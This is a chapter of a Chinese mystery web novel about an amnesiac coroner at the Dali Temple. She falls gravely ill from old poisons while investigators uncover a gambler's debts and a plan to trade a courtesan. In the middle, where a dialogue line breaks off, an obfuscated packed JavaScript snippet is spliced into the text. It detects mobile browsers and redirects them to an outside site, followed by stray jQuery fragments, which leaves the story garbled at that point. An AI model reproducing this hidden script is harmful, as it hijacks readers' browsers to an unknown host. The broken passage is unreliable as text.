12. 第 12 章

作品:《失忆反派在大理寺打工的日常

    在姜烬沉入黑暗之后,沉寂的迷宫深处,一个细小的身躯开始焦躁扭动,仿若即将苏醒的远古神祇。


    “取针。”


    荀子真面色端肃,放下搭在姜烬的腕间的手指。


    面色苍白的疏影努力稳住微颤的手,将展开的装满各种规格银针的布包呈给荀子真。


    百汇、檀中、关元……


    姜烬身上多处要穴被闪着刺眼白芒的银针牢牢锁住。


    十息过去,荀子真的眉头越皱越紧,沉声道:“不对劲。”


    众人都被满屋的酒味和药味熏得难受,骤然有了动静,心头猛地一跳。


    裴凛急声问:“什么情况?”


    荀子真伸手将各处银针加深,几近刺骨,却见姜烬还是一脸苍白,没半点反应,她的血管仍透着青灰。


    “她的十二条脉络和奇经八脉都出现了气凝,我用银针点穴刺激关枢要穴,但没有一点反应。”


    他眸中深色加重:“如果气血再不流通起来,姜烬恐怕是……”


    疏影闻言脸色一片灰白,双手更是僵在半空,仿若冰封。


    荀子真接着取出一根几乎有半个小指粗的银针,轻而易举刺破姜烬的指尖,汩汩黑血涌流而出,被荀子真精准接入琉璃瓶中。


    荀子真看着眼前已迅速变黑的银针,心狠狠一沉:“姜烬早已身中数毒,全是沉疴宿疾。”


    “什么?”


    “怎么会这样?!”


    极大的不可置信下,人们的第一反应总是显得幼稚,因为陡然面对未曾预料的情况,往往是不知所措的。


    裴凛则皱眉回想,最初与姜烬相见,她几乎是被打个半死的状态,第二天再见却也活蹦乱跳,怎么也不像是个重病在身的人。


    不过她的食量远大于平常人,验尸过后也极易疲惫,似有头痛、耳鸣之扰。


    荀子真:“在炼毒之前,姜烬已经服下了由穿心莲、紫草、红血藤配伍的预防药,更别说还服用了太医院特制的清毒丸。在这种情况下,就算是吸入了毒气,也绝不会是现在这样。”


    “从她的经脉紊乱和血液状态来看,恐怕是旧疾复发,而不是简单的中毒。”


    荀子真虽面上依然保持冷静,但他此时内心的翻涌只有自己最清楚,姜烬的情况极其复杂,也极其特殊。


    他道:“我猜测,她这次吸入的水蠹红土和罂稞打破了体内原有的平衡,正在与体内盘结成网的毒素交战。”


    石文越和唐誉对荀子真的话感到不寒而栗:“这……也就是说,小姜的体内像是养蛊一般养着各种剧毒。”


    “她究竟是经历了什么……”石文越震惊地看着姜烬,他对此实在是难以想象。


    裴凛眼中闪着冷冽的光,看向躺在床上毫无生气的姜烬,他对荀子真沉声道:“既然她能在身中数毒的情况下活到现在,这次也能挺过去。子真,无论如何,给我想办法。”


    荀子真缓了一口气,道:“只有查出血液中的毒素成分,才能对症下药,而这需要时间,我也不知道她能不能坚持那么久……”


    他的话让室内气压降到最低点,石文越不禁一拳砸向桌面,发出沉闷一声,他道:“若是姜女郎因此丧命,我实在是,实在是难受。”


    唐誉听着他的话,脸上的皱纹仿佛更深了,心里仿佛堵着千钧巨石,说不出话来,侧手边的热茶早已凉透,一口也喝不下去。


    裴凛闭目一瞬,复又睁开,眼中唯有坚定,对荀子真道:“不论如何,抓紧时间验血配药。”


    荀子真沉默一瞬,还是对裴凛道:“姜烬的情况很特殊,她体内的毒到底是什么,又如何而来……”


    但没等他讲话说完,裴凛已经抬手打断:“验血配药。”


    荀子真看着他如深渊般的眼睛,片刻后,点头道:“我明白了,给她再服三颗清毒丸吧。”


    疏影突然出声:“荀大人,我来帮你。”


    众人一愣,之前谁也没见过疏影主动发话。


    荀子真看着眼中似乎藏着火焰的疏影,仿佛看见了裴凛刚才的样子:“……走吧。”


    疏影侧头看了一眼姜烬,默道:“你不能就这么突然地来,又突然地离开。我的问题你还没有回答。”


    两人走后,房间安静下来。


    裴凛突然开口问唐誉:“唐叔,你认为姜烬如何?”


    唐誉没想到裴凛会在此时问这个问题,但他还是深思着回道:“奇才也。”


    “先不说小姜用得一手好刀,她对人体的了解若没有十年以上的研究,断不可能达到那种程度。老夫与她一同验尸,能感受到她在剖尸时已经完全达到人、刀、尸完全合一的程度。”


    唐誉眸色加深,夹杂着敬佩与不可思议:“另外,大人也看见了,小姜身上最值得惊叹的远远不是这些技艺、知识上的强大,而是她有为了追求真相,不怕死的胆量。”


    “这一点就让她能比寻常仵作走的更远。”


    裴凛和石文越闻言都是一凛。


    石文越不由叹息:“确实,姜女郎真是难得的人才,只是这也是她如今躺在这里生死不知的原因。”


    “可怜她还是个孤苦无依的人。”


    裴凛摩挲着玉牌,不知想着什么。


    突然,门外传来急促的脚步声,明哲洪亮的声音传来:“禀大人,有事要禀!”


    裴凛最后看了昏迷中也皱紧眉头的姜烬一眼,带着石文越向外走去,并对还坐着的唐誉道:“唐叔,去吧。”


    唐誉随裴凛到了房外便自行离开。


    没有人看见,在阳光与姜烬纤长的睫毛共舞时,她眼下的阴影正如蝴蝶翅膀般微微颤动。


    “先去议事厅。”


    裴凛面沉如水,掠过明哲。


    明哲敏锐察觉气氛的不寻常,不由收敛了神色。


    朝议事厅走去时,明哲低声询问身旁的石文越:“发生什么了?”


    石文越目视前方,嘴角紧绷:“姜女郎出事了。”


    明哲下意识握紧手中的剑柄,抑制住声线:“怎么回事?不是在制毒吗?”


    石文越看着自家大人肃厉的背影,不由又在心里叹气:“姜女郎为了实验成功,不惜吸入毒气,导致暗疾发作,现在还昏迷不醒。”


    他顿了顿,再次压低声音:“生死难料……”


    明哲呼吸陡然一滞,抬头看向前方的裴凛,原来如此,难怪少卿大人将心情不佳摆在了脸上。


    石文越几乎是用腹语在说话:“所以,你小心说话。”


    太阳西移,房间里的光线不如上午明亮,总是透着股凉。


    当日,裴凛自翻看了荀子真带回的卷宗后,便决定将突破点之一放在薛老跛身上。


    明哲奉命搜查,带回了拓印副本,站在一旁道:“大人,这就是我们在薛老跛房间找到的。”


    明哲:“我们将他屋里搜了个遍,也没发现什么值钱、有价值的物件,反而是找出了一堆的借条。”


    一堆墨迹不清的借据,只能勉强认出右下角的印章,腾宝阁。


    “原来这个薛老跛在赌坊欠了巨款,早已负债累累。”


    裴凛眉峰一跳,杜府之火的两年后,薛老跛竟又在赌坊欠下巨债。


    裴凛将文书放下,他对石文越道:“文越,你来看看,这借据上的印章。”


    石文越依言上前查看,半晌后,他不确定道:“大人,有点像是我们从孙二郎房中搜出的那枚印章?”


    裴凛:“立刻取来,核对。”


    不出多时,透过光,鲜红与黑色印章相互重叠,如影子回归人身,不分彼此。


    石文越:“真的是孙二郎的章?!”


    裴凛眼中放出冷光:“不错,这遍布夙安的赌坊腾宝阁便是孙二郎的多年‘在寺养病’的手笔。”


    “这被众人忽视的孙府二郎其实是一只在暗夜行走的贪狼,自从杜府被灭门,空出来的地盘全被他吃干抹净。”


    石文越二人眼中均划过愕然,原来还有这种密辛。


    裴凛的眸中冷然一片:“当爹的在户部掌舵护航,儿子的赌场生意自然风生水起。”


    石文越不禁问:“可这又与我们的案子有什么关系?”


    窗外吹来的一阵凉风,卷动纸张的页脚。


    裴凛将从薛老跛处搜来的密函递给石文越和明哲:“你们自己看看。”


    二人仔细认读着纸上文字。


    ……望宽赦……进了新的貌美娘子,请郎君务必来楼……


    复:十日,利滚二分


    ……十月初*,春玉间,好物。


    ……


    明哲皱着眉头看完最后一张:四月初二,不再宽限。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282094|181572||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这是什么意思?薛老跛在和孙二郎做交易?”


    石文越:“中郎将,这还不清楚吗?薛老跛是在用楼里的姑娘抵债。”


    明哲耳尖瞬间变红,他捏紧了手中的纸,怒道:“这二人竟如此卑劣!”


    他再看回纸上的内容,那些不甚清晰的字里行间都透着污秽肮脏。


    “但就算如此,薛老跛的债也还不清,这四月初二就是孙二郎给他的最后还款期限。”


    石文越点头道:“只是还没到四月初二,孙二郎就已经死了。”


    “难道是薛老跛为了不还钱冒险杀人?”


    但他复而摇了摇头:“但他没有杀春瑛的动机。”


    明哲也道:“他没有这个时间,因为从玉娘子前往鸿恩寺起,薛老跛至今都还在巩府,参加巩宏宝行冠宴。”


    裴凛却突然问:“你们知道四月初二是什么日子吗?”


    明哲脸上茫然。


    石文越想了想后,道:“是玉娘子的出楼宴!”


    裴凛点头:“不错。按照玉娘子的供词,那日她本不会去鸿恩寺,但突然接到薛老跛的命令,要她在出楼前先去寺庙礼佛静养。”


    石文越:“难道孙二郎是要薛老跛用玉娘子来还债?”


    裴凛:“有可能。”


    “薛老跛为了还债,同意了孙二郎的要求,让玉娘子前往鸿恩寺,而春瑛也早已知情,听从了这二人的指令,企图给玉娘子下迷、情香,以人抵债。”


    石文越:“但孙二郎和春瑛却先遭杀害,那玉娘子和薛老跛的嫌疑最大。”


    石文越:“若薛老跛没有时间动手,那就是玉娘子了,既有复仇的动机,又身处鸿恩寺。”


    明哲:“大人,我申请立刻逮捕玉娘子!”


    裴凛摩挲着手中扳指,道:“还不到时间,我们必须等,等到明晚。”


    石文越:“大人难道要等玉娘子出楼吗?”


    裴凛抬眼扫向这年轻的中郎将:“你再看看四月初二之后的话。”


    石文越凑到明哲身边一起看,见到最后通牒时间之后,薛老跛的字‘漱玉斋已妥,欠款已妥’。


    石文越:“这薛老跛竟然真的能将柳楼头牌玉娘子搞定?他舍得将这个金疙瘩献给孙二郎抵债?”


    漱玉斋很显然是指代玉娘子。


    明哲迟疑道:“他怎么突然有钱来还款?”


    裴凛听了二人的话,道:“这都不是重点。”


    “重点是,薛老跛的话里透露出他不仅要还钱还要把玉娘子献给孙二郎。”


    明哲二人再将纸上的字读了几遍,终于反应过来。


    石文越一拍佩剑,道:“是啊,薛老跛这样的赌徒怎么可能如此好心,既还钱又献美人,我看他是既不愿意还钱,也不肯丢了最能为他挣钱的玉娘子才对。”


    “这说法太怪了。”


    裴凛道:“任何脱离人日常行为的怪异,都具有目的。”


    “只能说,薛老跛并不是真心想用人抵债,尤其是不想用玉娘子来抵。”


    裴凛回想起,审讯中玉娘子面对春瑛死亡时真切的惊慌与不可置信,又想到寺中小沙弥提到玉娘子凌晨急匆匆地带人突然住进香房。


    他将玉扳指啪地一声放在桌上,目光灼灼:“所以,明日四月初二,柳楼引蛇出洞。”


    “今晚密探鸿恩寺。”


    石文越和明哲齐声道:“大人英明。”


    裴凛:“还有柳楼里上上下下的动向就交给金吾卫。”


    明哲抱拳:“是。”


    此时,一只灰色信鸽扑闪着翅膀停在窗棂边,咕咕咕地叫着。


    石文越上前取下筒中的密信,递给裴凛:“大人,是屠岳。”


    裴凛展信阅后,对石文越厉声道:“带队,速去回春堂。”


    “是!”


    明哲在石文越离开后,不禁问:“大人,可是发现了那胡人的行踪?”


    裴凛眼中闪过冷厉:“不错,就是他。”


    他的眼睛落在桌面一个束口袋上,那上面的花纹他毫不陌生,联珠团窠纹,胡商惯用的传统纹样。


    看来那胡人果然与鸿恩寺案逃不开干系,他的鼻尖仿佛已经嗅到胡人鲜血的腥气,不由回想那个被血染红的夜晚。


    若他背后真有金焰道支撑,夙安恐怕将要风雨又起……